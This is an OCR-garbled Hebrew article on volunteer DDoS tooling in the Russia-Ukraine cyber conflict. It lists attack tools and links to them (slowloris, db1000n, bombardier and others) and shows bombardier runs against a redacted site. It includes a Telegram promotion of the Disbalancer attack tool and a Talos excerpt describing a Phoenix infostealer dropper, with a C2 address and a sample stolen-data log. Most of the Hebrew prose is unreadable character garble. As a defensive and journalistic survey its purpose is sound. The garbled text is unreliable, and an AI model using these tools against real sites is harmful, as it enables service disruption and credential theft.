argets[target].number_of requests++;

NN DWTI' 12D DNKX 0TI DTNy 3 197 wnn 11j7ow d3V4pR3D NN norussian 721 721 ,Yep

"7V DnawIn nNIX

0720 7V Anti-DDoS No'j7y 112211 Dy DoS 751 1aImn L,yottaig Nnkn CloudAttack XIn 'w'win Y700

oy TN cloudflare-scrape Nn*M%02 wiM'y nwivn N2IN'9 na*? 2y ooann Xin .Cloudflare 7w
D'0IYD JS MANK redirects 'Tiny ,RECAPTCHA yix'a) DoS 'wam nmanx 11y 7:awa BeautifulSoup
0" .Cloudflare 7w n1an 112210 'K NT'N2 DA DoS Y¥A7 72w TIpn NX YNIN'? AWOKX D oW (DI
[I'7'0 W' :AR'NYN DY LTIPN DR O INIYYNANRAL proxies-7 1ANNNY 7'awa node ooian Ty

.J'an X7 071vnn 90%-v NowA TW'NNY 01212 TN N7 D, TIPN 7Y N''70'82 1NN

220 "IN TR .D'N7¥IN K7 D707 MWRY NN 751 DU 1901 haters 1INIXY DNIAN 12D TX 210

...1122NX NIND DN INIXK NWYN7 K7W INT TN ?9¥71N0 DX JIAY' 'NDIN

(INNX 1>TYNn p1w 3) W' *011 dependencias hell-a a1 7D n'wra
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https://www.cloudflare.com/

:setup-N YAl NN DXINWD Npw NN T

DEPRECATION WARNING
Node.js 11.x is no longer actively supported!
You will not receive security or critical stability updates for this version.
You should migrate to a supported version of Node.js as soon as possible.

Use the installation script that corresponds to the version of Node.js you
wish to install. e.g.

um”™ {recommended)

Please see https://github.com/nodejs/Release for details about which
version may be appropriate for you.

The NodeSource Node.js distributions repository contains

information both about supported versions of Node.js and supported Linux

distributions. To learn more about usage, see the repository:
https://github.com/nodesource/distributions

added 63 packages, and audited 64 packages in 29s

vulnerabilities (4 moderate, 1 . &l

Ty X7 DA NKINLYWO 7V XON 9'0INYT OX .Y TI' 'IN .0'NTN 1'¥'D 2?0197 Dd7W N1dNN DX 191INY 17D

:out of the box

INY'M DX 79021 1INIX 72X INIX NI'NNYTI N'YAN N9'R NI NI017I D07 N9'0 NIYWYY? 0713 11N

AT DX DYV D' 'RAPIRND JNOoONN 'RAN DK
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;1N0N NWADYW D700 NIX TNI'MA 122N X7 ND TV .codesenberg XN bombardier XN 'y'21n "D

L1221 ?NY 'R 7M1 750 ORN L0702 wIn'y 7Y DN 1200 0R'RIPIRD INNDY Y7500 YIn nwyn?
I'wdYn 12D NI 17 1wn . forks200 7yni 013 4.k3 :ANIF 210 RN V7NN KIN IYKRY OYINA 11D
N7 NNT DY X D'"NIY 197 TY NRITAN N'NI DY 6 197 NIIWXRIYT7 ANd1 KIN .a71yn Tay "Ha -

.0"NIynvn 0'axaa I]'7|7]'\]

NYIY XIN D2 ,N9Y NNIN] 12N211 JA0N2 NZO0W DNX 0727 NniTal Go-2 niwn bombardier 700
web MY 7y 0'yn? N 7 http-7 Go 7w N'vY19 TN N0 DIZNA fasthttp N0 win'w
nIN1 7V 21 YT 190101 TTIA '01N0IR DY 7V N9 NI'NWON 7w 190N v'¥n Xin .DOS-7 oMyl
XIN 12NN NINSYW NN .0'NIA2 D'7RP17 D'01ID 7w 21 190NN 0119 NYNXINN 19PN YA .N9'PNN

727100 DY NNIXA DIYA TIENI 790 NI7IY9Y TV 'K 0YNOYW NTaIvN

NN L(DTIZ NIYY NYR'aY [2md) N1y 10 qwn? 0Ny DY 2 11D bombardier NX 1n¥N
MYNY prn MY ' 2¢N MYNIE DI NiNR? 100-n NINSY NN'W [NNY W70 MY 120 [IURIN
07 NYYN7 MW D NIKYT7 TWON [IYXRIN MWD 7V D' T2 .'aiflt 0'01 7V NINIRY 97X NNy

;a7

Desktop\tools>
/www " :443 for 10s using 40O connect

Statistics Avg Stdev
Reqs/sec 15.98 63.16
Latency 10.14s 4.74s
Latency Distribution
50% 10.09s
75% 15.22s
20% 15.3@s
95% 15.32s
99% 17.53s
HTTP codes:
Ixx - 0, 2xx - @, 3xx — 0, Uxx - @, 5xx — @
others - 561
Errors:
dial tep :ul43: connectex: No connection could be made because the target machine actively refused it. -
476
dial tep :Ul43: connectex: A connection attempt failed because the connected party did not properly resp
ond after a period of time, or established connection failed because connected host has failed to respond - 77
the server closed connection before returning the first response byte. Make sure the server returns 'Connection: clo
se' response header before closing the connection - 8
Throughput : 9.19KB/s

ANWI NIWN ,N27N2 NI 09 ANNA NPTN N9PNN NYXIAW NINNY 271 D'MIvNWN 7Th QWn NN
N¥{7 AWNN N'N NAITAY AWNNNA (U K7 1900 ,n™Mw 7' 30-2 N latency-n AT ,pw nn Ay

;7272 TNN

PS C:\Users\. \Desktop\tools> .\bombardier.exe 10s https://www
Bombarding https://www 443 for 10s using 400 connec
[

Statistics Stdev Max
Reqs/sec 5750.61 1281.51 17184.13
Latency 69.20ms 26.18ms 677.66ms
Latency Distribution

50% .9dms

75% .80ms

90% .55ms
95% .39ms
99% .71lms
HTTP codes:
Ixx = @, 2xx = @, 3xx - 57977, Uxx - @, 5xx - @
others - @
Throughput: 2.07MB/s
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https://github.com/codesenberg/bombardier
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NN 'NPTN' N9PNNY VAN 1INT¥N YYD KINY NRIYA NITYOINI 750 DY 7Nwn INKY?

Throughput: 27.23MB/s

nan 60-7 0'72am nnari) 77531 Amplified DoS yxan X7 *75nw NTaIya AWNNN2 D'YIN 190N

MIRAPIND JA0N2 D'MMPN D700 70 17X 7190 IR 17NNN 1RV N9 7 11Tna . ('2 01'ol

slowloris by gkbrk

Death by 1000 needles

DDOS by Coder1955A

norussian by D3pR4V3d

3 websites (1 works)

CloudAttack by yottaiqg

N o U s~ w N

bombardier by codesenberg

XY NN D097 NNA VITNA 117 |am X7 .n21v nixa 1Ty (7) bombardier-1 (2) DB100N 21,0712 1NN

.DNIX I¥' DP'7NW 22 [PNONYTI D'WIX '97X NINNYT D70

"INV "yax MIY" D'YYT T NI X7 DY9-X

disBalancher
launches
LIBERATOR

far Windows, Mac 0S5, Linux

.Decentralized Stress Testing NNVN? 2> NN12 IT N1aN .DisBalancer Dwa N1V NNaN AN'N NN
ANUN NX DINTY? D21 "0 NNaNY? subscribe y¥a? 710' p'wnnwn - "yn MINKA TAYY |I'VIn
,0IUD ?N111DN NN .DI7YN NN NRINENITIAN NI DNNXR NN "qipn?" 72wl onw nnpnn
-y yavn) USDT/DDOS Dwa 109 Yyavn NIY¥XNXA DiYwn 731 botnet-7 qavxn anx

.YN'7 '7Tan 7w (121 11001 DPARWA 71X 7w QXTI TIA .DWAY 17 nninnin 19 (1NX* DisBalancer
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https://github.com/gkbrk/slowloris
https://github.com/Arriven/db1000n/
https://github.com/Coder1955Alpha/DDoS
https://github.com/D3pR4V3d/norussian
https://github.com/yottaiq/CloudAttack
https://github.com/codesenberg/bombardier
https://www.gate.io/trade/DDOS_USDT
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Disbalancer.zip
1.2 MB

Haragyemo npo nporpaMy A5 aTaku Ha pocicbKi canTu! BoHa
aBTOMaTU4YHO OTPUMYE LiNi ANa ataku 3 cepsepa. Maponb ansa
apxiBy: DISBALANCER

HanomMuHaeM o NnporpamMmme g5 ataku Ha poccuiickme camTbl!
OHa aBTOMaTUYeCKM Nnosy4vaeT Lenm ons ataku ¢ cepsepa.
Maponb ANna apxmea: DISBALANCER

We are glad to remind you about the software we use to attack
Russian sites! It will automatically fetch the attack targets from
the server.

The password for the archive is DISBALANCER 46K ® 01:52 PM
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TINXN] R'N N2 MIDNY? keylogging nwiy 71maaw MaaS (malware as a service) IxIm X'n Phoenix
.(142.46.35. -95 port 6666) N'0IN NAIMD2A 1AITA 'N2IIN NPNA NPNINNA NANDY YT'NRN DX DN7IYI
-0 NIX N7WONn PN NKRY 711 MdNa D-anti-debug WNK7 NP0 Nyxan npTin ,NN7won yaia
yTIn 7nn XOKT QI0XK7 N712'1 AT N'72an X477 80$ IX wTINY 155 7w D120 N1dN) npTin .payload
77X ,VPN NI'907 NINNO'O ,DINK7 NIRNO'O ,cookies ,(TIVI DIIDTY ,NIXONA ,N"N) midNN 7V

:C2-n MW7 N7waY D170 YAl X112 .'1D1 DM'9IA1VD 7 NIYAUN

Tag: Test

System Hash: d@a76f87f3599cdef970711617963a5e
Build Num: 1841568960

System ver: Windows 7

Win Install Date: 2015-04-30 11:17:31
ProductID: 00371-220-6214044-06352

Passwords: @
Cookies: 26
Autofill: 2
Cards: @
Files: @

FileZilla: -
TotalCommander: -
Steam: -
Telegram: -
NordVPN: -
OpenVPN: -
Discord: -

Armory: -
Atomic: -
BitcoinCore: -
Bytecoin: -
DashCore: -
Electrum: -
Ethereum: -
Litecoin: -
Zcash: -
Exodus: -

| MetaMask:

:NPTIN NYNLVNIENI'YDY7 Yana (N19'0N 72 NX NN7'aW nNann) Talos N1an 7w VIV'Y

“The campaign is based on a dropper disguised as the Disbalancer.exe tool. This dropper is
protected with ASProtect, a known packer for Windows executables. If a researcher tries to
debug the malware execution, it will be confronted with a general error. The malware, after
performing the anti-debug checks, will launch Regsvcs.exe, which is included along with the .NET
framework. In this case, the regsvcs.exe is not used as a living off the land binary (LoLBin). It is

injected with the malicious code, which consists of the Phoenix information stealer.”
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https://blog.talosintelligence.com/2022/03/threat-advisory-cybercriminals.html
https://blog.talosintelligence.com/2022/03/threat-advisory-cybercriminals.html
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https://blog.avast.com/avast-threatlabs-warns-against-ddos-attacks-ukraine
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https://github.com/wg/wrk
https://github.com/giltene/wrk2
https://github.com/tsenart/vegeta
https://github.com/rakyll/hey
https://book.hacktricks.xyz/pentesting/pentesting-smb
https://book.hacktricks.xyz/pentesting/pentesting-smb
https://book.hacktricks.xyz/pentesting/pentesting-smb
https://book.hacktricks.xyz/pentesting/pentesting-smb
https://book.hacktricks.xyz/pentesting/pentesting-smb
https://securitytrails.com/blog/google-hacking-techniques
https://www.shodan.io/
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https://portswigger.net/web-security/all-labs
https://portswigger.net/web-security/all-labs
https://portswigger.net/web-security/all-labs
https://portswigger.net/web-security/all-labs
https://portswigger.net/web-security/all-labs
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V11VI'X2A Keyboard Warriors n'710
NIYNIV'ON NN DIRNNI N2NRY reddit-2 cybersecurity DINISN D'VIV'Y 190N DY INRNAN NX NI7)
A0
G @ r/cybersecurity - Posted by u/snooshoe & days ago [ &)
%9 ‘For the first time in history anyone can join a war’:
Volunteers join Russia-Ukraine cyber fight

yiawn ninoa 500 7yn 727 "0 (1N, NXIAPA TN 0IRTI9ID 0fawn) upvotes 100 oy 01T

i elmosworld37 - 6 days ago

I feel like "This is the first time in history anyone can join a war without leaving home” would've
been more accurate and interesting

I \_; ; Reply Share Report Save Follow ﬁ tictac_doh - & days ago

So, we're playing CTF for real now?

@38 {/v ; Reply Share Report Save Follow

Q CaptainWellingtonIII - & days ago
Just because you can, doesn't mean you should.

4> 128 L () Reply Share Report Save Follow

223454 . 6 days ago

Jokes aside, I fully expect the Feds to step up funding. I could definitely see an uptick in hiring
because of all this.

4> 49 L [ ) Reply Share Report Save Follow

[
@ Dolphin1998 - 5 days ago

open-source warfare

{F 1JL T Reply Share Report Save Follow

C . )
? dataslinger - & days ago

Ukraine authorities estimate some 400,000 multinational hackers have volunteered to help
counter Russia’s digital attacks, said Yuval Wollman, president of CyberProof.

If true, the scale of that effort is amazing. Russia has been punching above its weight for years due
to its cyber capabilities. As good as some of those people are, when you have to play defense
against 400,000 opponents, it would follow that you're going to have to focus on defense at the
expense of offense.
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https://www.linkedin.com/in/jonathan-elkabas-20636b20a/
https://www.linkedin.com/in/jonathan-elkabas-20636b20a/
https://www.linkedin.com/in/jonathan-elkabas-20636b20a/
https://www.linkedin.com/in/jonathan-elkabas-20636b20a/
https://www.linkedin.com/in/david-elkabas-35896022a
https://www.linkedin.com/in/david-elkabas-35896022a
mailto:david.elkabass@gmail.com
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